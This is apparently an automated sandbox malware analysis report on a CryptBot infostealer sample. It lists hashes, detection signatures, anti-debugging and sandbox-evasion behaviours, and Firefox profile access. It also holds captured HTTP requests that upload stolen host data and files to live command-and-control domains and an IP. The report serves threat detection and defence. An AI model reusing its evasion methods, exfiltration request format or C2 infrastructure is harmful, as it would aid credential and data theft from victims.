Windows Analysis Report
QDQXUZhiY3.exe

Overview

General Information

Sample name: QDQXUZhiY3.exe
renamed because original name is a hash value
Original sample name: 9fac753db5ec1b01d51c6f073dec122d.exe
Analysis ID: 1580280
MD5: 9fac753db5ec1b01d51c6f073dec122d
SHA1: f25a035618b6a391375e7a4ffd43d96cfe06df36
SHA256: 82ef038b58bc0dddf3e68504906f8e1c85ea32910d726231b6008cdecff175c3
Tags: exeuser-abuse_ch
Infos:

Detection

Clipboard Hijacker, Cryptbot
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Attempt to bypass Chrome Application-Bound Encryption
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected Clipboard Hijacker
Yara detected Cryptbot
AI detected suspicious sample
Drops large PE files
Found evasive API chain (may stop execution after checking mutex)
Found stalling execution ending in API Sleep call
Hides threads from debuggers
Leaks process information
Machine Learning detection for sample
PE file contains section with special chars
Sigma detected: Suspicious Scheduled Task Creation Involving Temp Folder
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to detect sandboxes and other dynamic analysis tools (window names)
Tries to detect virtualization through RDTSC time measurements
Tries to evade debugger and weak emulator (self modifying code)
Tries to harvest and steal browser information (history, passwords, etc)
Uses schtasks.exe or at.exe to add and modify task schedules
AV process strings found (often used to terminate AV products)
Abnormal high CPU Usage
Checks for debuggers (devices)
Checks if the current process is being debugged
Contains capabilities to detect virtual machines
Contains functionality for read data from the clipboard
Contains functionality to dynamically determine API calls
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to read the clipboard data
Detected potential crypto function
Drops PE files
Entry point lies outside standard sections
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
One or more processes crash
PE file contains an invalid checksum
PE file contains sections with non-standard names
Queries information about the installed CPU (vendor, model number etc)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Browser Started with Remote Debugging
Sigma detected: Suspicious Schtasks From Env Var Folder
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)

Classification

Name Description Attribution Blogpost URLs Link
CryptBot A typical infostealer, capable of obtaining credentials for browsers, crypto currency wallets, browser cookies, credit cards, and creates screenshots of the infected system. All stolen data is bundled into a zip-file that is uploaded to the c2. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptbot

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: QDQXUZhiY3.exe Avira: detected
Multi AV Scanner detection for submitted file
Source: QDQXUZhiY3.exe Virustotal: Detection: 68% Perma Link
Source: QDQXUZhiY3.exe ReversingLabs: Detection: 60%
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 100.0% probability
Machine Learning detection for sample
Source: QDQXUZhiY3.exe Joe Sandbox ML: detected
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_002A15B0 _open,_exit,_write,_close,CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,CryptReleaseContext, 8_2_002A15B0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6D0114B0 _open,_exit,_write,_close,CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,CryptReleaseContext, 8_2_6D0114B0
Source: QDQXUZhiY3.exe, 00000000.00000003.1372791120.0000000007C8F000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: -----BEGIN PUBLIC KEY----- memstr_9946acc5-5
Uses 32bit PE files
Source: QDQXUZhiY3.exe Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\xte0v1np.default-release\cache2\ Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\dgam8g56.default\ Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\xte0v1np.default-release\ Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\ Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\xte0v1np.default-release\cache2\doomed\ Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\ Jump to behavior
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then lea ecx, dword ptr [esp+04h] 8_2_002A81E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 8_2_6D08AF70
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 8_2_6D08AF70
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 8_2_6D08AEC0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx+08h] 8_2_6D03A970
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push esi 8_2_6D03A9E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx+08h] 8_2_6D03A9E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push esi 8_2_6D030860
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, 6D0EF960h 8_2_6D02EB10
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx] 8_2_6D03C510
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx+08h] 8_2_6D03A580
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push esi 8_2_6D03A5F0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx+08h] 8_2_6D03A5F0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 8_2_6D034453
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push ebx 8_2_6D0B84A0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, ecx 8_2_6D0B0730
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx] 8_2_6D030740
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push esi 8_2_6D03E6E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx] 8_2_6D03E6E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 8_2_6D08C1A0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx+04h] 8_2_6D06A1E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 8_2_6D08C040
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [6D0ED014h] 8_2_6D0E4360
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx] 8_2_6D030260
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 8_2_6D08BD10
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push esi 8_2_6D087D10
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then lea eax, dword ptr [ecx+04h] 8_2_6D03D974
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push edi 8_2_6D083840
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push ebp 8_2_6D0C9B50
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push ebp 8_2_6D069B60
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push ebp 8_2_6D04BBD7
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push ebp 8_2_6D04BBDB
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push ebp 8_2_6D03D504
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 8_2_6D08B4D0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then lea eax, dword ptr [ecx+08h] 8_2_6D03D7F4
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [esp+04h] 8_2_6D089600
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then lea eax, dword ptr [ecx+0Ch] 8_2_6D03D674
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, 6D0EDFF4h 8_2_6D083690
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push edi 8_2_6D0B3140
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 8_2_6D02B1D0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push ebx 8_2_6D0A7350
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 8_2_6D03D2A0
Source: chrome.exe Memory has grown: Private usage: 6MB later: 33MB

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.3:49802 -> 185.121.15.192:80
Source: Network traffic Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.3:49810 -> 185.121.15.192:80
Source: Network traffic Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.3:49844 -> 185.121.15.192:80
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: */*
Source: global traffic HTTP traffic detected: POST /niCGMfnfOxUBXxpLhBBB1734796753 HTTP/1.1Host: home.fivetk5sb.topAccept: */*Content-Type: application/jsonContent-Length: 442276Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 38 34 37 32 39 36 31 32 38 38 32 37 37 34 38 34 37 37 30 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 32 36 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 69 73 74 72 79 22 2c 20 22 70 69 64 22 3a 20 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 6d 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 32 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 31 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 69 6e 69 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 38 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 39 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 6c 6f 67 6f 6e 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 35 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 65 72 76 69 63 65 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 32 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 6c 73 61 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 33 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 37 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 38 37 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 32 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 64 77 6d 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 38 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 38 34 20 7d 2c 2
Source: global traffic HTTP traffic detected: GET /niCGMfnfOxUBXxpLhBBB1734796753?argument=7fLmtrqVgkUSwmX91735025895 HTTP/1.1Host: home.fivetk5sb.topAccept: */*
Source: global traffic HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fivetk5sb.topAccept: */*Content-Length: 463Content-Type: multipart/form-data; boundary=------------------------82cfYXsapYr0g207OvKwOkData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 32 63 66 59 58 73 61 70 59 72 30 67 32 30 37 4f 76 4b 77 4f 6b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 47 65 70 69 64 75 70 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 24 d5 08 f1 63 f4 2e 44 c5 6c 37 bd 29 95 bc 3c 20 59 29 d4 08 ff 87 85 1b 37 b9 9d d8 1f a4 b4 00 a5 27 38 de 81 07 a9 f9 d3 ea 8e fe 11 b4 f5 15 87 c1 16 96 1a a1 91 5c ca 42 07 25 4e b9 d6 a5 4e db 8c 81 4f e5 a5 1f f8 4f 00 7b 41 2f a4 34 f5 11 b7 70 d0 c6 e0 3e 23 f2 50 5c d1 13 c3 dc 4c 33 87 50 12 db 8e b5 13 0e f9 46 50 92 6b 78 70 3f dc 19 84 00 68 1d 01 a2 09 d7 b8 51 59 c0 87 c1 44 c3 13 10 10 db ff 2b f7 2d 32 69 af 97 42 13 8b bc bc c0 58 c9 26 f1 b0 9b 20 c8 0b a0 2c 7b 92 8c 80 61 2e ec b1 c4 22 3a 26 27 78 04 32 7c 6f 95 06 63 cf b5 aa 7a 36 1c 5c 75 1f 0a 1a d6 dc 69 2d e4 3e 35 cc 2b dc c8 11 e0 a5 f3 89 81 13 fb 56 a0 cc cb b5 e2 7d 34 ee 96 5e c5 fe ed 70 3c 43 84 4d 06 f5 81 89 cb 94 d1 83 3e cc 73 83 43 dd 94 e0 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 32 63 66 59 58 73 61 70 59 72 30 67 32 30 37 4f 76 4b 77 4f 6b 2d 2d 0d 0a Data Ascii: --------------------------82cfYXsapYr0g207OvKwOkContent-Disposition: form-data; name="file"; filename="Gepidup.bin"Content-Type: application/octet-stream$c.Dl7)< Y)7'8\B%NNOO{A/4p>#P\L3PFPkxp?hQYD+-2iBX& ,{a.":&'x2|ocz6\ui->5+V}4^p<CM>sC--------------------------82cfYXsapYr0g207OvKwOk--
Source: global traffic HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fivetk5sb.topAccept: */*Content-Length: 63501Content-Type: multipart/form-data; boundary=------------------------2Layz7nQUPKTQv5dJt1k2mData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 32 4c 61 79 7a 37 6e 51 55 50 4b 54 51 76 35 64 4a 74 31 6b 32 6d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 43 6f 6e 61 6b 6f 71 69 66 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 3f 08 25 26 7a aa d3 d4 ad 89 f7 c0 7f 05 bf 7e 12 0b a0 67 60 f9 91 56 26 73 bf 94 4f 80 1b 1b d4 be 08 87 7a 58 89 f5 fe ba 1d 46 e7 81 52 d4 b6 90 85 9d 67 cc 52 33 f3 50 92 20 38 5a ef 07 e5 dc 01 2f 68 b9 9c d8 ce c7 e2 85 8c e2 47 02 22 81 69 3b 20 0a bc 21 d2 dc d5 df 5e cd 8b ee 28 09 c2 5a 42 4c c4 6b 38 a2 72 48 f6 a2 d2 94 f6 87 16 f9 02 77 08 79 44 78 91 4e ac a7 75 bb 1a 25 e0 ef 48 b1 ca 2a 62 0a 7e 73 4f 9f 38 3c 51 bf 9e 7c a7 ff ab ec 82 64 74 e4 6d 6e 55 08 2f 13 65 7e 74 c3 a1 fe c9 6f c4 18 ca f4 35 13 44 ae ef af 7d 4d 9d e6 57 c1 a5 52 b3 38 ef 65 f1 0e 73 b0 52 11 42 ad 9b 8c 21 55 0f de 40 8c df 46 80 76 48 d3 5f 11 73 0b 37 c5 77 8e b9 89 8d aa bc 06 95 53 b7 e4 5d 7a 56 9d 22 05 9e 8f f7 27 b4 69 41 07 84 2d 98 f4 20 f8 14 8a d8 3b b6 e8 6f 55 24 3f c8 79 b1 4b 8d 76 9c 61 16 dd e2 a1 8b 87 e3 27 08 b8 92 6e 03 e6 c4 29 ea 3b 3e 31 8e ff 4f 4a 3a c1 1a 5b d7 a5 98 ae c1 4c d2 dc 18 95 13 7a 11 52 df 4c 94 55 5c 56 fd 46 5a ce ac ea 4c 1c f7 f1 00 2c 66 3f 0e ba 72 0c 5c ba d9 c8 c6 de d1 05 34 84 27 68 2a 38 6b 4d 0f ed db 46 95 54 d0 d8 75 de a1 fe 38 71 a2 2f 7d b9 d9 87 bc 2a ef fc b8 62 bc ae 75 a3 b6 c1 54 ec 7e 81 b6 b3 eb 29 a0 7a be 85 10 ea af 26 33 fe 97 f2 e2 8e ad a3 e6 06 5d ff 4b 39 4a 4d e0 55 9a 85 16 8e 2f 72 f7 a9 8b ab 7a 07 b5 6b 1f 49 6c b2 e8 99 2d f7 5b 8b 01 d2 4f d7 9d fa 9f 24 55 d0 d1 db 79 a2 64 9f d2 58 6f cf 82 4b 92 b1 3e 85 5b fa a0 a0 54 6c 7f 62 24 ca 36 9d d4 70 bc c8 e8 f3 b2 14 47 9a 51 bb e5 3a 64 a6 65 12 16 e9 a9 84 51 02 7f a0 6f d2 b7 d2 eb 92 9d e5 56 b7 31 a1 40 f7 31 86 04 0e 7d b3 7c 7f 70 c3 72 a8 71 c5 7c 46 90 f4 65 bc c9 8e 8a 91 a0 7f a0 f0 1c 45 92 69 a3 ac 78 84 a6 67 85 39 e5 93 31 d1 e4 93 e7 c7 a5 71 06 f7 f1 fc 29 eb 4b 08 45 bc 92 fc 16 b0 42 ad 8f 44 b1 8b a9 a3 fd 5a a3 f9 02 bb 77 0b 6b 58 37 4f af 1b af b3 2c a1 15 e6 99 18 f9 89 d3 af d4 dc 67 46 5b 5d a2 82 ae e0 45 cc 00 16 a3 93 0f f1 2a 3f 69 c5 24 61 ba 69 56 fe ee eb 25 9b 3c 02 b7 24 fe b8 ac 40 f5 38 00 41 96 c4 15 c2 b9 85 c9 40 87 8e 0a a5 54 d8 7c 7a 15 de 14 bd aa e9 c8 8d d4 02 d0 57 41 e9 7c c2 c5 01 53 5e 7a 99 ba 6f 78 0c 4a c6 2f 6f 3f 47 68 4b 71 ed 8f 0f 91 fe 19 68 79 16 dc fc 94 de 8b d4 7d 46 63 ac 51 d5 d4 b0 09 d1 49 99 1a 33 4e 75 a8 2a e6 a8 45 00 12 d2 5b 9d cb 72 71 9e b6 01 c6 ad 58 ca c9 48 a9 da 48 d8 18 cd 6d 90
Source: global traffic HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fivetk5sb.topAccept: */*Content-Length: 26507Content-Type: multipart/form-data; boundary=------------------------dbGSfYuiqekinoVNNFA1mZData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 64 62 47 53 66 59 75 69 71 65 6b 69 6e 6f 56 4e 4e 46 41 31 6d 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4e 65 78 75 74 6f 66 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 1b ee d1 cc f8 a8 73 cb c1 2a 4f 07 c8 ce 3b d8 7e d7 30 ea aa 62 35 c4 c8 69 12 20 10 d7 10 c4 9b 76 1c 90 30 14 d9 7b 18 25 bb 28 7b b8 f0 75 9c 12 69 6b de 5d fe 46 74 a3 c2 07 c1 8f 9e ce c9 13 cb 70 86 c6 5c 60 9b 85 83 d5 19 5e d3 26 cf e3 e2 b9 29 d7 a9 e2 01 55 ae 4a 7c ed 81 19 83 55 ac 0f 8b e1 b5 70 20 e5 f8 73 0c 44 09 ed d6 97 c4 3f 6f 39 00 86 0a 0d d5 d1 bc 03 95 d6 49 4c ae b9 df 43 8c 0f 94 30 71 44 2b cb f0 ce 36 23 8a 2c e1 76 4c 64 ba 6e fe 19 4c e1 f1 b1 67 ec 9c de 02 d9 d7 a0 35 08 3b 9a aa 2b c1 ec 56 42 5d f1 b5 4a 55 22 76 9f 20 40 41 9b 30 e5 be f6 00 29 b2 fe 26 71 35 74 25 a8 d1 c1 1d 5a 21 19 91 3b b7 e7 72 41 f4 0e 12 0b 97 54 fe 36 c6 8a 49 48 32 95 3e e6 b8 15 d4 99 4a 1d b3 89 e3 f2 f8 ac 10 e9 08 6d c5 05 1b 5b d3 df e1 b9 1a 9d d1 aa df ca 74 d1 7f e6 32 e8 b3 6f c2 b9 1c d2 3f 4c e9 ed bf 9c e3 24 36 d0 e4 5c 30 e9 6c 90 6f 24 23 26 af 9b 19 5c 1c c6 d3 da e9 de e7 f8 0a 1b 45 ba 64 00 93 d8 a6 23 e0 40 bb 6e 4c 7d d8 44 15 64 a8 85 eb 66 da 34 79 a5 04 d5 d8 82 e2 68 d7 6a 96 b5 bc 5a 1f 8c 19 24 15 66 29 95 95 d4 b3 f6 0c 84 32 e4 9a 0f f8 f7 b7 8e 5c f3 9d 85 e8 cb 4b 65 63 e8 6d 1f 6b 13 1e 73 10 17 1c c7 79 bf 28 09 f2 e6 c0 ac 83 88 1c ca 20 ab 44 58 11 37 23 f5 b6 ad 0a fc 35 fe 6f e9 b1 5c 78 68 10 99 5d b1 9e cb 5e 27 2f ab 25 d5 b0 63 5c 11 f4 70 41 96 01 8a 20 bb f9 4c ad ed 8b ab 9a aa 5f 99 d0 cd ff e8 ca 26 eb bf fd 2f 07 91 f2 cd 3e 06 e3 31 10 fd 00 3f 89 ca 4c d5 ff 37 f9 83 42 98 b1 2a 2e 11 82 47 07 c7 4e 8a 9c 54 3b ea 09 01 ec 1f ac f5 77 46 13 95 bb 71 60 ff e9 83 9f 75 cf 75 3e 2e 3c 4c 28 70 53 34 c8 22 17 07 29 75 25 21 d4 23 db 6c 8d 11 65 b7 07 16 5b 81 8a 84 fe 81 1f 8c 1c 2f 03 c5 04 67 d8 8f 72 9d f9 5a 6f e5 86 72 22 75 e2 c3 c6 ed 03 61 b8 b5 a2 88 22 b6 b4 41 d8 eb c5 d9 b5 74 3f c9 55 f9 8e 00 52 7b 3f 06 34 b9 07 4f a4 7f 70 58 a7 3a 6f 23 94 03 d2 0f 56 52 65 87 c5 f5 68 b4 ae a4 7d f2 ff 18 59 0e 49 ae 10 77 8e ff cd 34 fd d4 62 20 e3 65 4d e9 d4 44 78 de de 03 c4 24 0b 37 0e 0f 8b 04 25 23 29 06 c3 b1 2c b0 2c 43 23 95 f9 97 4c 9c 68 b5 a2 d0 06 34 5e 20 c1 f2 8d 42 cf 11 a0 5e a6 ea f4 fb a8 06 af 1d 3b 0c 85 b8 ce 6c 0e 2a 7a d2 22 63 22 4b d9 64 53 8c 5c 08 16 26 98 97 4f 6a 70 da a1 e3 eb 25 22 cf 60 45 14 da 58 f7 fd d8 0c de 6f 01 81 88 d6 4f e0 0a 03 a2 ad 78 ee bb 46 5c c4 4e 2b b1 0d 13 84 55 94 74 7b d9
Source: global traffic HTTP traffic detected: POST /niCGMfnfOxUBXxpLhBBB1734796753 HTTP/1.1Host: home.fivetk5sb.topAccept: */*Content-Type: application/jsonContent-Length: 56Data Raw: 7b 20 22 69 64 31 22 3a 20 22 37 66 4c 6d 74 72 71 56 67 6b 55 53 77 6d 58 39 31 37 33 35 30 32 35 38 39 35 22 2c 20 22 64 61 74 61 22 3a 20 22 44 6f 6e 65 32 22 20 7d Data Ascii: { "id1": "7fLmtrqVgkUSwmX91735025895", "data": "Done2" }
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 185.121.15.192 185.121.15.192
Source: Joe Sandbox View IP Address: 98.85.100.80 98.85.100.80
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
